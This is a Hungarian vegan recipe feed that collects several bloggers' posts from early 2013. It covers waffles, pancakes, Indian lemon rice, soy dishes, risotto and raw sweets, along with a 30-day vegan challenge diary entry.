Megjelent egy kedves régi blogtárs, Gréta legújabb vegán szakácskönyve, mely életmód- és szakácskönyv is egyben. Igényes kivitelezésű könyvről van szó, és bár a könyvet még nem láttam, de ahogy Gréta korábbi munkáit ismerem, biztosan a tartalom is ilyen!:-) 150 egyszerű, gyors és ínycsiklandó recept, megannyi életmód-, és táplálkozási tipp, hogy kívül-belül szép, egészséges és kiegyensúlyozott legyél! A gyönyörű, igényes, színes kötet vásárlói ajándékként egy e-book kiegészítést, valamint kötetenként egy félórás személyes életmód tanácsadást kapnak ajándékba Gréta Konyhája Vegán Életmód-, és Szakácskönyv rendelhető az info@vipmedia.hu címen! 2013. március 28-án kóstolóval egybekötött könyvbemutatón vehettek részt Budapesten! Ez a recept már ebből a könyvből származik! Agyfényező golyók: 1 bögre darált dió 1 bögre kimagozott datolya (előző este beáztatva) 1 ek karob vagy kakaópor 1tk fahéj 2 ek kókuszreszelék (opcionális) 1 ek kókuszolaj(opcionális) Egy aprítóba tesszük és és masszává darálunk. Kezünkkel golyókat formázunk Forrás: Gréta konyhája vegán szakácskönyv
Teljes kiőrlésű gofri, tej- és tojásmentes verzióban
Vettünk egy új gofrisütőt, és mivel a családnak természetesen így gofrit kellett sütni reggelire, kitaláltam, hogy bizony teszek egy kísérletet arra, hogy 100% teljes kiőrlésű lisztből, cukormentesen is elkészítem.:-) Éééés nagyon finom lett, a férjem szerint szinte alig érezhető a különbség a sima liszteshez képest...:-) Viszont sokkal egészségesebb!:-) A recepthez a kiindulást Móni tej- és tojásmentes gofri receptje adta a lökést, és azt módosítottam tovább. Gyorsan le is írom, nehogy elfelejtsem az adagokat!:-) A 2 db gofri egyébként nagyon eltelített!:-) Az édesítés pedig minimális, utána úgyis lehet csorgatni rá agave szirupot, vagy megkenni pl. cukormentes szilvalekvárral, vagy friss gyümölcsöt karikázni rá. Teljes kiőrlésű, tej- és tojásmentes gofri Hozzávalók (2 db gofrihoz): 50 g teljes kiőrlésű liszt csipet só 1 mk. foszfátmentes borkő sütőpor (pl. DM) 1/2 ek. agave szirup 60 ml növényi tej, pl. rizstej 10 g bio kókuszvaj felolvasztva Az összetevőket összekeverjük, és egy-egy kis merőkanállal szétterítjük egyenletesen az adagot a gofrisütőben (olajozni nem kell a formát előtte!). Kb. 4 perc alatt készre sütjük.
Amarántos palacsinta II., erdei gyümölcsös fagyival
A 30 Napos Vegán Kihívás ételei között kóstoltuk először ezt az amarántos palacsintát, amit most szinte teljes egészében az eredeti recept szerint készítettem, azaz erdei gyümölcsös fagyigombóccal a tetején!:-) Isteni finom volt reggelire!!:-) A fagyit a gyerekek mellőzték (nem tudják, mi a jó!:-)), de a palacsinta kétszeres adagban is elfogyott!:-) Amarántos teljes kiőrlésű mini palacsinták (kb. 20 perc) Hozzávalók 2 főre (6 db mini palacsintához): 60 g teljes kiőrlésű liszt 140 ml növényi tej (zabtej, vagy rizstej) 20 g agave szirup 1 csapott teáskanál foszfátmentes borkő sütőpor 1/2 teáskanál őrölt vanília 30 g puffasztott amaránt dió olaj, vagy bio kókuszzsír a sütéshez Málnás/ erdei gyümölcsös fagyi 150 g fagyasztott málna, vagy erdei gyümölcs 30 g agave szirup 80 natúr szójajoghurt Elkészítés: az amaránt kivételével keverjük habverővel simára az összes hozzávalót, és a végén adjuk hozzá az amarántot. Kenjünk ki olajjal vékonyan egy serpenyőt, tegyünk bele 1-2 evőkanál palacsinta tésztát, és süssük oldalanként kb. 4 percig. A fagyihoz mixeljük össze az összes hozzávalót! Rétegezzük a palacsintákat friss gyümölcs, pl. banánkarikák közé, a tetejére a fagyi, és csorgassunk rá vékonyan agave szirupot. Forrás: Attila Hildmann: Vegan for Fit
Savanyú-káposztás barnarizs
Kezdődik a rizs kúra És még mindig nagyon kívánom a savanyú káposztát, így az első étel vele készült, de most teljesen nyersen Hozzávalók személyenként: 1 maréknyi főtt barnarizs 1 maréknyi savanyú káposzta néhány karika póréhagyma 1 kávéskanál kókuszzsír 1 kávéskanál pirospaprika A hagymát picit megpirítjuk a kókuszzsíron, majd a tűzről levéve meghintjük a pirospaprikával, és [...]
Dél-indiai citromos rizs
2013. március 11. La Veganista
Van egy mondás, miszerint, a britek azért hódították meg Indiát, mert egy jót akartak enni végre. Talán van benne némi igazság, hiszen az indiai konyha rendkívül változatos, tele van színekkel, ízekkel és fantasztikus illatokkal. Sokféle indiai ételt készítek, mert könnyen veganizálható a vegetáriánus receptek nagy része. Vannak, akik azért idegenkednek attól, hogy otthon is kipróbálják az éttermekben fogyasztott fogásokat, mert azt gondolják, hogy túl bonyolult a recept, vagy túl hosszú időt vesz igénybe a főzés. A dél-indiai citromos rizs meg fogja győzni a kételkedőket. Igen is létezik szuper egészséges, szuper finom, könnyen és gyorsan elkészíthető indiai vegán étel. Ezzel elkápráztathatod a családodat, a barátaidat, és biztos vagyok abban, hogy nem lesz olyan drága, mintha étterembe mennél érte. Ha a konyhád még nincs felszerelve Indiai fűszerekkel, a Szép Kis Indiában mindent megtalálsz. Az eladók készségesen és villámgyorsan összeszednek mindent a listád alapján. Egyszeri beruházással nagyon sok ételed meg tudod fűszerezni később.
Hozzávalók:
2 csésze főtt rizs 2 evőkanál olívaolaj 1 teáskanál koriander por 1 teáskanál köménymag (egész) 1 teáskanál fekete mustármag (egész) 2-3 csipet hing/asafoetida (fokhagyma pótló, puffadásgátló fűszer) 1 teáskanál kurkuma por 6-8 curry levél 2 db szárított vörös chili 1"-es gyömbér reszelt 1/2 csésze sótlan, pirított mogyoró, vagy kesu dió 1 db citrom leve só
Így készítsd el:
Pirítsd meg egy kicsit az őrölt koriandert, majd tedd félre. Ezután hevíts olajat egy nagyobb serpenyőben, majd dobd bele a köménymagot, a fekete mustármagot, a curry leveleket és a chiliket. Addig pirítsd őket, amíg a magok ki nem pattognak. Vigyázz, hogy le ne égesd. Vedd lejjebb a hőmérsékletet és keverd hozzá a reszelt gyömbért meg a kesudiót és süsd egy percig. Kapcsold ki a tűzhelyet és öntsd a serpenyőbe a kurkumát, a hinget és a friss citromlevet. Alaposan keverj össze mindent. Add hozzá a főttrizst és a koriandert. Sózd meg és keverd át az egészet, hogy a rizst átjárják a fűszerek. A kókuszimádók bátran adjanak hozzá két evőkanálnyi kókuszport. A dél-indiai citromos rizs önmagában is igazán finom és kiadós fogás, mely kevesebb, mint fél óra alatt elkészíthető. Remélem, megkóstoljátok.
Málnás-amarántos szójajoghurt pirított kókusszal
Reggelire ettük ezt a szépséget a 30 NAPOS VEGÁN KIHÍVÁS egyik napján, ami nekem nagyon ízlett, a gyerekek nem igazán voltak bizalommal az irányába, illetve a férjem annyit mondott, hogy tejes joghurttal és amaránt nélkül biztos finomabb lett volna!:-))) Érdemes fogyasztásnál összekeverni a rétegeket, akkor még jobban érvényesül a telje sízhatás!:-) Málnás amarántos szójajoghurt pirított kókusszal Elkészítési idő: kb. 10 perc Hozzávalók (2 főre): 60 g puffasztott amaránt 260 g natúr, cukormentes! szójajoghurt 4 ek. agave szirup 200 g málna (fagyasztott) 1 késhegynyi őrölt vanília 10 g kókuszreszelék Keverjük össze az amarántot és a szójajoghurtot, édesítsük 2 ek. agave sziruppal. Keverjük el az agave szirupot a vaníliával és öntsük a málnára, finoman keverjük össze! A kókuszreszeléket pirítsuk meg zsiradék nélkül kb. 3 percig egy serpenyőben, majd édesítsük 1 ek. agave sziruppal. A málnát régetezzük az amarántos joghurttal egy pohárba, a tetejére szórjuk a kókuszt! Forrás: Attila Hildmann: Vegan for Fit
Amarántos mini palacsinta
A 30 Napos Vegán Kihívás egyik reggelijeként kóstolta a család!:-) Nagyon finom lett, a gyerekek is csak úgy falták!:-) Magában is finom, mi kis cukormentes szilvalekvárral ettük, én rizstejes gabonakávét ittam hozzá.:-) Amarántos teljes kiőrlésű mini palacsinták (kb. 20 perc) Hozzávalók 2 főre (6 db mini palacsintához): 60 g teljes kiőrlésű liszt 140 ml növényi tej (zabtej, vagy rizstej) 20 g agave szirup 1 csapott teáskanál foszfátmentes borkő sütőpor 1/2 teáskanál őrölt vanília 30 g puffasztott amaránt dió olaj, vagy bio kókuszzsír a sütéshez Elkészítés: az amaránt kivételével keverjük habverővel simára az összes hozzávalót, és a végén adjuk hozzá az amarántot. Kenjünk ki olajjal vékonyan egy serpenyőt, tegyünk bele 1-2 evőkanál palacsinta tésztát, és süssük oldalanként kb. 4 percig. Csorgassunk rá vékonyan agave szirupot, és fogyasszuk friss gyümölccsel! Forrás: Attila Hildmann: Vegan for Fit
Citrusos Sült banán
2013. március 4. Fittanyuka Blog
Sokszor az egyszerű a nagyszerűbb, ilyen ez a recept is, amelyet a Wok főzőtanfolyamon készítettünk el, egyik legsikeresebb desszert volt. Viszont, mint a legtöbb wokban készült étel, ez a desszert is frissen elkészítve a legfinomabb. Hozzávalók: ( 4 fő részére) 5 db nem túl érett banán 100 g világos tönköly liszt 1,5 -2 dl víz vagy növényi tej 40 g bio, puha margarin csipet himalaya só 1 ek kókusz cukor 1/2 citrom leve 1 kk bio narancs vagy citrom olaj késhegynyi bourbon vanília Öntet: 200 ml kókusztejszín agave szirup ízlés szerint kókusz olaj vagy bio margarin a kisütéshez A banánokat félbe majd ketté vágjuk és rögtön meglocsoljuk a friss citromlével, hogy ne barnuljanak el. A lisztet elkeverjük csomómentesen a növényi tejjel, kókusz cukorral, vaníliával, citrus olajokkal, csipet sóval. A kókusz olajat felforrósítjuk és a lecsöpögtetett banán szeleteket először egy kevés lisztbe hempergetjük bele, majd a masszába mártjuk és egyenként aranybarnára sütjük. Papírtörlőre szedjük őket és elkészítjük az öntetet: A kókusz tejszínt elkeverjük az agave sziruppal, még finomabb lesz ha kevés citromlevet, vagy akár pár csepp narancs olajat ebbe is csepegtetünk. Frissen fogyasztjuk! Fittanyuka
Brassói-féleség vegán módra
Az ősi Kína és Japán falusi zöldségkertjeiből a szójabab közel háromezer éves utat tett meg, míg a világ vegetáriánusainak legfontosabb fehérjeforrásává és egyben a bolygó egyik legelterjedtebb terményévé vált. "A fehér daru gyermeke" a "nagy drágakő", a "virágos szivárvány", poétikus, pozitív csengésű nevekkel illették a Kínában őshonos növényt a helybeliek. Mivel a magokhoz bizonyos emésztési gondok is kötődtek, " a szél fehér szelleme" kicsit gunyoros nevet is viselte, utalva arra, hogy fogyasztása bélgáz termelődéshez vezethet.
Ma már tudom, hogy ha helyes feldolgozási módot követjük, akkor ezek a bizonyos "szelek" elkerülhetőek.
A recept:
Hozzávalók:
- 20 dkg szójakocka
- 10-12 db krumpli
- kókuszzsír
- olaj
- fokhagyma
- bors vagy borsikafű
- majoránna
- őrölt köménymag
- só vagy ételízesítő (házi, ha lehet)
- víz
Elkészítés:
A "szelek" elkerülésének titka a forró vízben és az órákon keresztül történő áztatásban rejlik. A szójakockákat megszórjuk sóval, borssal vagy borsikafűvel, majoránnával és egy kevés őrölt köménymaggal is. Forrásban lévő vízzel felöntjük és ebben a jó fűszeres lében áztatjuk amíg csak időnk engedi. Fél óra áztatás után már megpuhulnak a szójakockák. Azért, hogy a fűszeres íz át és átjárja minden egyes kockát, én egész éjszaka áztattam. Nyilván tervezni tudtam, hogy másnap ezt főzök. Amikor ez nem működik, akkor is igyekszem minél tovább áztatni - épp a gázok elkerülése végett is.:)
A krumplit megpucoljuk, kockákra vágjuk és egy rövid ideig sós vízben főzzük. Nem kell puhára főzni, éppen csak azért főzzük egy picit, hogy egészségesebben készüljön el.
Ezt követően a tepsit kikenjük kókuszzsírral, a krumplit egy kicsit még megsózzuk, majd a tepsibe elterítjük. Én egy kevés olajat is spricceltem rá még.
Sütőben megsütjük. Mivel a krumplit előzőleg hőhatásnak már kitettük, nem szükséges letakarni. Ropogósra sütjük.
Amikor megsült, a szóját leszűrjük és szintén a krumplihoz hasonló módon megsütjük. Nekem volt itthon egy kevés csilis-rozmaringos olajam (ajándékba kaptuk) és egy keveset öntöttem a szójára sütés közben. Valamint összetört fokhagymát adtam hozzá. Még finomabb lett ezektől.
Az eredeti brassói recept hagymával is dolgozik. Mivel a szójakockák annyira ízletes, fűszeres ízűek voltak, nem tartottam szükségét, hogy a szóját hagymás alapon készítsem el. De természetesen mások bátran készíthetik így is. Akkor szaftosabb lesz.
Tálalásnál egyszerűen csak a megsült, megpirult ropogós krumpli tetejére halmoztam a szintén ropogós finom szójakockákat. Persze, tálalható úgy is, hogy a burgonyát a szójával összekeverjük.
Anyósom által készített savanyúságot fogyasztottunk hozzá.
Mindenesetre ez a nagy adag brassói több étkezésre is elég volt nekünk. Aki kevesebb mennyiséggel szeretne, felezheti a receptben leírt adagokat.
2. NAP - A 30 NAPOS VEGÁN KIHÍVÁS
Reggeli: banánhabos - kókuszos amarántkása Ebéd: fekete babos - spenótos-paradicsomos tészta magokkal (a tegnapi maradékokból) Vacsora (fent a képen): tepsiben sült zöldségek salátával, vagy friss csírákkal, esetleg savanyú káposztával Ital: 2,5 liter szénsavmentes ásványvíz (nálam kb. 3 liter) + 1,5 liter zöld tea MOZGÁS: - délután 1 óra intenzív rollerezés a gyerekekkel a tavaszi napsütésben:-) Nagyon jó volt!:-) - 15 perc CANTIENICA-hasgyakorlatok:-) - (és este tartottam 2 CANTIENICA-órát:-) Tapasztalatok: reggel úgy ébredtem, hogy nagyon nem voltam éhes, a reggelinek csak a felét ettem meg, a másik részét később tízóraira. Aztán ebéd előtt már mégis csak éhes lettem, ettem 1 narancsot:-) Ebédnél alig voltam éhes, csak egy részét ettem meg a tésztának, viszont utána annyira nem éreztem topon magam közérzetileg, de a rollerezés után nagyon jól helyrebillentem lelkileg és testileg is egyaránt!:-) Délután már kicsit elkapott a kávé hiánya iránti vágy, úgyhogy megittam egy zabtejes gabonakávét, édesítés nélkül, és ettem hozzá 4 szem aszalt sárgabarackot:-). Uzsonnára egy kis salátát, amit amúgy sosem tennék, de mivel 17h-re mentem dolgozni, és tudtam, hogy akkor úgysem tudok enni, viszont tutira éhes leszek, és azt nagyon nem bírom általában, ezért most így tettem.:-)) Csak éhes lettem két órám között is, így lenyomtam egy banánt... Aztán 20.30h-re értem haza, és akkor ettem a tepsis zöldségekből egy kis tányérral. És 23h-kor még egy almát... Mert elég éhes voltam, és utálok éhesen aludni menni!:-) - az a tapasztalásom ma is folytatódott, hogy amint elteltem, nem tudtam egy falattal sem többet enni!:-) - ma is szomjas voltam, de talán kicsivel kevesebbet, mint tegnap. A zöld teát ma kicsivel erősebbre csináltam (2 filter 1,5 liter vízhez), de így elég keserű volt... - nem sikerült betartani, hogy 19h után ne egyek már semmit... Legközelebbre megpróbálok kitalálni vmi más megoldást, amikor este dolgozom.. Mondjuk uzsonnaidőben eszem a vacsorát..?! - a kenyér és egyéb szénhidrátok annyira nem jártak a fejemben, de azért az elgondokodtatott, amikor az egyik esti órámon azt mondtam a tenyér a földön helyett, hogy kenyér a földön....:-))))
Meggyes-kókuszos koszorú
Ezúttal egy nagyon egyszerű, de annál finomabb süti receptet hoztunk nektek. :) Hozzávalók: 20 dkg teljes kiőrlésű tönköly liszt 5 dkg zabpehely 5 dkg kókuszreszelék 2 evőkanál kakaópor 10 dkg barnacukor vagy ízlés szerint méz 1 csomag sütőpor 5 evőkanál hidegen sajtolt napraforgó olaj 2,5 dl növényi tej 1 kisüveg magozott meggy 1. Melegítsük elő a sütőt (180-200 fokosra), majd egy nagy tálban keverjük össze a tejet, olajat, cukrot, kakaóport, a kókuszreszeléket és a zabpelyhet. 2. A sütőport jól dolgozzuk össze a liszttel és ezt a keveréket lassan adjuk az előbbihez és jól forgassuk össze. 3. A masszát kanalazzuk kuglóf formába, majd rakosgassuk rá a meggyet és mehet a sütőbe. 4. 10-15 perc múlva a sütőt vegyük vissza 160 fokra, majd kihűlés után kezdjük felszeletelni. Ildi
Krumplitorta
Ezt a kajcsit még kedden csináltam, de azóta nem volt időm feltenni. Most pótolom Nagyon finom volt ? Hozzávalók egy 20 cm átmérőjű tortához: 3 krumpli 1/4 kelkáposzta 1 ek darált sárga lenmag 1 ek egész lenmag 1 diónyi kókuszzsír 10 dkg reszelhető sajt 1 tk pirított szezámmag 2 cikk fokhagyma Töltelék: A kelkáposztát megmossuk, [...]
Szójajoghurtos-áfonyás muffin
2013. február 20. Mindennapi ételeink
Azt gondolhatná a blogolvasó, hogy állandóan csak édességet eszünk. Ez természetesen nem így van, csak felhalmozódott az édesség recept (még van kettő, lefotózva a tarsolyomban:), illetve most valóban Az ősz ízei szakácskönyv, ill. egy másik, még nem elárulható projekt miatt több édességet is kipróbáltam, de csak negyed-hatodadagban, így nem lett édességmérgezésünk. Egyébként heti ebédünk így néz ki eddig: V: Fűszeres tepsis csicsóka, rizstejszínes majonézzel, salátával H: Barnarizses-lecsós rakott savanyú káposzta K: Borsófőzelék lepcsánkával Sz: Paprikás krumpli, párolt lilakáposztával. Reggelente köles -és zabkása volt, mindkettőt 2 napig ettük. Estére pedig az alábbi pástétomokat készítettem ezen a héten: vegán májkrém / sárgaborsó-pástétom. Többen kértétek, hogy készítsek majd heti menüt, nos, megtisztelő a kérés, és örülök neki. Igyekszem, csak még idő nem jutott rá. Most jöjjön tehát ismét egy édesség. Hozzávalók: 2 pohár tönkölyliszt 1 rk. foszfátmentes sütőpor 1 pohár nyírfacukor 1 csipet só 4 dl Alpro szójajoghurt (lehet natúr, de ízesített is) 1 pohár kókuszolaj 25 dkg áfonya/gyümölcs Elkészítés: Előbb külön-külön a száraz hozzávalókat összekeverjük, majd a nedveseket is, ez utóbbiba tesszük a gyümölcsöket. Aztán összekeverünk mindent és szilikonos formában 160 fokon kb. 30 perc alatt összesütjük.
Mézes krémes tej- és tojásmentesen 2.
Itt a blogon szerepelt már korábban egy mézes-krémes recept. Valójában azonban ezt a mostanit használom már egy ideje, és mivel minden nagyobb ünnep alkalmával elkészítem, a receptet pedig mindig agyon keresem, ezért már éppen itt az ideje, hogy bevéssem ide is!:-) Hagyományos és reform étkű családtagoknak, vendégeknek is nagyon ízlik, nem sűrűn találnak benne kivetnivalót!:-) A tésztája kiváló, rövid időn belül megpuhul (akár reggelről délutánra is)! Tortát is süthetünk vele, pl. ez a kókuszos - mézes Hello Kitty - torta is készülhet belőle! A legjobb azért előző este megsütni, hogy összeérjenek az ízek! A recept egy része az Ízek és érzések Magazin 2010. április-májusi számából származik, azt variáltam. Mézes krémes tej- és tojásmentesen 2. Hozzávalók (egy sütőtepsinyi adaghoz): A tésztához 500 g teljes kiőrlésű tönkölybúzaliszt 150 g nádcukor 4 ek. méz 1 kávéskanál szódabikarbóna 150 g bio (nem hidrogénezett) margarin csipet só víz annyi, hogy könnyű tésztát gyúrjunk (hm, legközelebb igyekszem lemérni pontosan, de talán 1 dl körül volt legutóbb...:-) Krém 600 ml rizstej 5 ek. búzadara 200 g bio növényi margarin 150 g nádcukor Karob, vagy csokimáz 100 g nádcukor 100 g bio margarin 2 ek. növényi tej 2 ek. kakaópor, vagy karobpor Baracklekvár A tészta hozzávalóit összekeverjük, összegyúrjuk, majd hűvös helyen 30-40 percet pihentetjük. Ezután négy egyenlő részre osztjuk. Egy sütőtepsi hátuljára!!! sütőpapírt teszünk, arra rakjuk a nagyon vékonyra (2-3 mm) nyújtott tésztát, és 180 fokra előmelegített sütőben kb. 8-10 perc alatt megsütjük egyenként a lapokat. Amikor a lap még langyos, mindig levesszük a papírról, mert különben kihűlve már töredezni fog! A krémhez megfőzzük a darát a tejjel. A margarint elkeverjük a cukorral, majd a kihűlt darával. A kihűlt tésztából egy lapot visszateszünk a tepsibe, rákenjük a krém felét, rá a következő kap, amit megkenünk baracklekvárral, újabb lap, rá a maradék töltelék, és a negyedik lappal zárjuk. A mázhoz minden hozzávalót egy edénybe töltünk, és lassú tűzön, folyamatos kevergetés közben 10-12 percig főzzük. Még langyosan a kész süteményre kenjük.
Mandulás Raffaello golyó (vegán)
2013. február 17. Mindennapi ételeink
Ki ne szeretné a bolti Raffaellot? Íme, egy recept, amely kicsit pótolja a hiányát: Hozzávalók: 20 dkg kókusztejpor 18 dkg kókuszreszelék 15 dkg nyírfacukor 10 dkg kókuszolaj 10 dkg hámozott mandula 10 dkg héjas mandula kb. 1 dl víz Elkészítés: A vízből és a nyírfacukorból szirupot főzünk, és langyosra kihűtjük. Ehhez hozzákeverjük a kókusztejport, a kókuszolajat, és 15 dkg kókuszreszeléket. Ne ijedjünk meg, a massza nagyon puha lesz, hiszen a kókuszolaj a meleg hatására folyós lesz. Az elkészült masszát tegyük hűtőbe, amíg a kókuszolaj megdermed, majd vizes kézzel kis golyókat formázzunk, úgy, hogy mandulát tegyünk a közepébe és a ledarált (héjas) mandulareszelékbe forgassuk meg. Lehűtve tálaljuk. TIPP: érdemes dupla adagot készíteni, és a masszát felhasználni kásákhoz is. Holnap egy ilyen recept következik.
Szuper reggeli: Vegán cukormentes kókuszos dió-mandula-kesudió kása hideg téli reggelekre
2013. február 11. Zizi kalandjai
Egy hideg téli reggelen, főleg a hétvégéken, amikor jobban van időnk, legeslegjobb érzés egy laktató, melengető reggeli elfogyasztása. Nálunk általában a vasárnapok ilyenek. Hétköznapok rohanósak, szombaton szintén koránkelés van a piac miatt (de imádjuk, nem bánjuk egyáltalán, hogy korán kell kelnünk!), aztán jön a jól megérdemelt vasárnap, amikor engedjük magunknak, hogy kicsit tovább maradjunk ágyban, ráérősen reggelizzünk és megbeszéljük mindazt, ami a szívünket nyomja. :)
Most vasárnap a szuper reggelink és egy-egy csésze hojicha japán pirított zöld tea elfogyasztása után kimentünk a hóesésben a Városligetbe. Hatalmas pelyhekben hullott a hó és gyönyörű volt az egész liget. Némely részek teljesen kihaltak, nyugodtak voltak, egyesek pedig tele szaladgáló gyerekekkel, kutyákkal, családokkal vagy csendesen sétálgató szerelmes párokkal.
A cél a Városligeti-tó volt, a langyos termálvizében melegedő kacsák, sirályok meglátogatása. Mielőtt kimentünk volna a parkba még eszembe is jutott, hogy vigyünk nekik élelmet, de napraforgó- és tökmag nem volt itthon, azt pedig tudom, hogy kenyeret nem szabad adni nekik, mert az felpuffasztja őket.
A tó partján sétálgatva megláttunk egy etető automatát, ahol 100 Ft-ért a markodba kapsz egy adag tápot, amivel aztán megetetheted a madarakat. Amíg mi a készülék használati útmutatóját olvastuk, nem vettük észre, hogy a hátunk mögé felsorakozott legalább 10-15 éhes kacsa. :) Ekkor jöttünk rá, hogy ők bizony már jól ismerik az automatát, tudják, hogy ezek a fura lények valahogyan szereznek belőle élelmet, amit aztán nekik adnak. Hát mi, fura lények, ezek után nem hagyhattuk, hogy éhesek maradjanak ezek a jószágok. Megvettük a tápot és megetettük azokat, akik bátrak voltak és kimerészkedtek a partra.
De most már térjünk rá erre a szuper reggelire, ugye? Hát erről tényleg csak szuperlatívuszokban tudok beszélni és a legfontosabb mondanivalóm, hogy egyszer ezt mindenkinek ki kell próbálnia. Nem múlhat el élet kókuszos dió-mandula-kesudió kása nélkül! Igen, ennyire finom! És még valami... vegán, cukormentes, gluténmentes és még paleo is. Rengeteg különböző táplálkozási formát követő embernek megfelel. Nagyon egyszerű az elkészítése, csak egyetlen dologra kell odafigyelni, hogy a magokat előző este beáztassuk.
Vegán cukormentes kókuszos dió-mandula-kesudió kása
Hozzávalók 2 főre:
- 1/3 bögre dió
- 1/3 bögre mandula
- 1/3 bögre kesudió
- 1 db érett banán, meghámozva
- 1 bögre kókusztej (más növényi tej is használható)
- 2 evőkanál kókuszreszelék
- 1 teáskanál fahéj
- 1 teáskanál só + csipet só
Tegyük egy tálba a diót, mandulát, kesudiót, adjunk hozzá egy teáskanál sót és öntsük fel vízzel addig, amíg teljesen ellepi. Hagyjuk állni a konyhaasztalon egy éjszakán át.
Másnap öntsük le róla a vizet és mossuk át annyiszor a magokat, amíg a víz tiszta lesz. Szűrjük le és tegyük a konyhai robotgépbe. Adjuk hozzá a felkarikázott banánt, a kókusztejet, a kókuszreszeléket, a fahéjat és a csipet sót. Dolgoztassuk a robotgépet addig (kb. 8-10 perc), amíg teljesen sima, pépes állagú kását kapunk. Ízlés szerint a végén még hígíthatjuk egy kevés kókusztejjel, ha túl sűrűnek találjuk. Fogyasztható azonnal, azonban én beleöntöttem egy kis lábasba és 5-6 perc alatt felmelegítettem. Szedjük tálkákba és szórjuk meg kókuszchips-szel, aprított mandulával és kesudióval.
Kihagyhatatlan!
Cukkinis kukoricás rizottó
Talán kevesen ismerik a "risotto" szó történetét, ami igazából egy megtréfálásnak köszönhetően alakult ki a 16. századi Milánóban, ahol a Duomo di Milano (Milánói Dóm) katedrális építése során volt egy tanonc, Valerius, aki az üvegablakok festéséért felelt. Ez a tanonc, a festékekhez előszeretettel kevert sáfrányt, ezzel még intenzívebb színeket alkotott. Úgy gondolta, viszonozza mesterének állandó csipkelődését, és a sáfrányt most nem a festékhez, hanem annak az esküvőjére készített rizshez keverte. Persze nem csak sárga színben pompázó rizs lett a végeredmény, hanem egy különleges ízzel megáldott étel, amely azóta ezer és ezerféle változatban készült el.
Az igazi rizottó végül is négy fő összetevőből áll össze:
1. Valamilyen alaplé (zöldség, húsleves, stb)
2. Rizs
3. Zöldségek (vagy hús)
4. Ízesítők
Ezt az elméletet ismerve az alábbi rizottót hoztam össze:
A recept:
Hozzávalók:
1 cukkini felkockázva (nekem fagyasztóból, de friss is jó)
1 nagyobb marék kukorica
2 marék rizs (nálam barna a nyerő)
ételízesítő (házi)
kurkuma (sáfrány helyett)
2-3 gerezd fokhagyma
kurkuma
Elkészítés:
Az alaplevet egyszerűen elkészítjük. Fokhagymákat kisebb darabokra vágjuk, ételízesítőt, és kurkumát adunk hozzá (ez festi sárgára, de használhatunk helyette sáfrányt is), ezt összerottyantjuk kb. 3-4 dl vízzel. (Épp, hogy kicsit forrjon.) Míg felforr, a rizst átmossuk, megpirítjuk (teflon bevonat esetén nem kell olaj, vagy kókuszzsír). Majd az alaplével felöntjük a rizst. Ha szükséges, még tehetünk hozzá kurkumát. Míg a rizs fő, egy kevés vízen, némi ételízesítővel megpároljuk a cukkinit és a kukoricát. Amikor a rizs már puhul, az utolsó 10 perc főzésre összekeverjük a zöldségeket a rizzsel. Amennyiben szükséges, még sózhatjuk. Tálalásnál napraforgóval és ruccolával kínálva még ízletesebbé tehetjük. Ehető főételként és köretként is elkészíthetjük.
Kakaós – narancsos nyers sütemény
Igazi kis finom, béltisztító fajta.
Útifű maghéjat tartalmaz, melynek előnyeiről itt olvashatsz:
Útifű maghéj (psyllium husk)
Hozzávalók egy kb. 10 cm átmérőjű minitortácskához:
- alap: kb. 5 evőkanál mandulaliszt (mandulatejből megmaradt szárazanyag, vagy őrölt mandula), 1 lapos evőkanál kakaópor, 1-2 evőkanál kókuszreszelék (elhagyható), 7-8 szem datolya, 2-3 evőkanálnyi mandulatej (vagy más növényi tej)
- krém: 1 nagyobb narancs, kb. egyharmad avokádó, stevia por és citromlé ízlés szerint, 5-6 teáskanál útifű maghéj.
Elkészítés:
Az alaphoz a mandulaliszthez hozzákeverjük a kakaóport, majd a datolyát aprítógépben datolyavajjá (masszaszerű anyaggá) aprítjuk. Ezt összegyúrjuk a kakaós mandulaliszttel, a kókuszreszelékkel, és annyi mandulatejet adunk hozzá, hogy gyúrható massza legyen. A tortaforma aljára simítjuk.
Erre tesszük a krémet: a narancsot, avokádót és az ízesítőket (stevia, citromlé) összebotmixereljük, hozzákeverjük az útifű maghéjat, és a torta alapra kenjük. Néhány percen belül az útifű maghéj felveszi a nedvességet, így nem fog folyni, a torta peremet levehetjük róla.
A tetejét mézzel kevert kakaóporral (csokimáz) öntöttem le. Kivi és mandarin szeletekkel díszítettem.
Jó étvágyat!
Vegán Bounty szelet
2013. február 4. Mindennapi ételeink
Teljesen véletlen jött ennek a süteménynek az ötlete (recepteket próbáltam ki, és összevontam két süteményt), és nagyon finom lett, fel is írtam gyorsan. Hozzávalók - 2 rúd süteményhez A tésztához: 15 dkg finomliszt 15 dkg teljes kiőrlésű liszt 12 dkg nyírfacukor 1 tk. Arm&Hammer szódabikarbóna 1 ek. foszfátmentes sütőpor 2,5 dl 100% extra szűz olívaolaj 2,5 dl Alpro vaníliás szójatej 1 ek. sós mogyorókrém 1citrom héja 10 dkg mazsola 10 dkg kókusz 10 dkg mandula -felszeletelve -- A krémhez: 15 dkg kókusztejpor 20 dkg kókuszreszelék 15 dkg nyírfacukor 10 dkg kókuszolaj 1,8-2 dl víz -- A karobmázhoz: 1 púpozott ek. rizsliszt 1 dl víz 1 dl kókuszolaj 1 dl nyírfacukor 1 dl karobpor 1 marék mandula, apróra vágva Elkészítés: A tészta hozzávalóit összekeverjük, előbb a száraz, majd nedves hozzávalókat, majd kétfele szedjük, és két kenyérformát kiolajozunk, lisztezünk, és beleöntjük a tésztát. Egyszerre kisüthetjük mind a két adagot, 170 fokos sütőben, 25-30 perc alatt süssük készre. Ha csak egyet szeretnénk sütni, felezzük az alapanyagokat. Miközben sül, kikeverjük a krémet: a vizet és a nyírfacukrot összekeverjük és felforraljuk.Egy tálba kiöntjük a kókuszt, a tejport, rákanalazzuk a kókuszolajat, és erre öntjük a forró vizet. Alaposan kézzel összedolgozzuk, majd betesszük hűtőbe, hiszen a felolvadt kókuszolaj megolvad, ezért folyóssá teszi. Amíg hűl, elkészítjük a karobmázat: a rizslisztet simára keverjük a vízzel, kis lángon besűrítjük, hagyjuk kissé lehűlni, és ekkor dolgozzuk el egyenletesre a kókuszolajjal, a nyírfacukorral, és a karobporral, apróra vágott mandulával. Nincs más hátra: állítsuk össze a süteményt: a kihűlt tészta tetejére kenjünk kókuszkrémet, majd locsoljuk rá a karobmázat. TIPP: süthetjük a tésztát egyben is, akkor meg is tudjuk tölteni a süteményünket. Ill. készíthetjük kevésbé rusztikusra, én most direkt készítettem így.
Februári cukor- és édességmentes kihívás
2013. február 1. Zizi kalandjai
